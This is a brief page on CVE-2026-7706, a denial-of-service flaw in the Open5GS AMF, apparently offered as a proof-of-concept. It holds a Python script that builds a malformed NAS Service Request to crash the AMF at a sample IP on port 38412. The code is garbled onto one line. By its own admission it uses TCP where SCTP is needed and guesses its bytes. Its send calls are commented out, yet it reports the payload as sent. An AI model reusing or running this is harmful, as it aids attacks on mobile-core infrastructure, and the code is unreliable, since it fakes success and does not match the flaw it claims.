CVE-2026-7706 Open5GS拒绝服务漏洞

import socket import struct # PoC for CVE-2026-7706 (Open5GS DoS) # This script sends a crafted packet to trigger the crash in gmm_handle_service_request # Note: Open5GS AMF typically uses SCTP, this is a simplified demonstration. def send_exploit(target_ip, target_port): # Constructing a malformed NAS Service Request payload # This payload is designed to hit the vulnerable logic in gmm-handler.c # Specific bytes may vary based on the exact vulnerability trigger # NAS Message Header (Security protected NAS message placeholder) nas_header = b'\x7e' # Protocol Discriminator: Mobility Management messages nas_header += b'\x00' # Security header type: Plain NAS message # Malformed Service Request content # Triggering the invalid access in the target function payload = nas_header + b'\x0c' * 100 # Filling with padding/junk data try: # Attempting to connect to the AMF interface (Port 38412 is standard for N2/SCTP) # This example uses TCP for simplicity, actual exploit requires SCTP association print(f"[*] Sending exploit payload to {target_ip}:{target_port}") # In a real scenario, use pysctp or similar to send over SCTP # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((target_ip, target_port)) # sock.send(payload) # sock.close() print("[+] Payload sent. Check if AMF crashed.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP target = "192.168.1.100" port = 38412 send_exploit(target, port)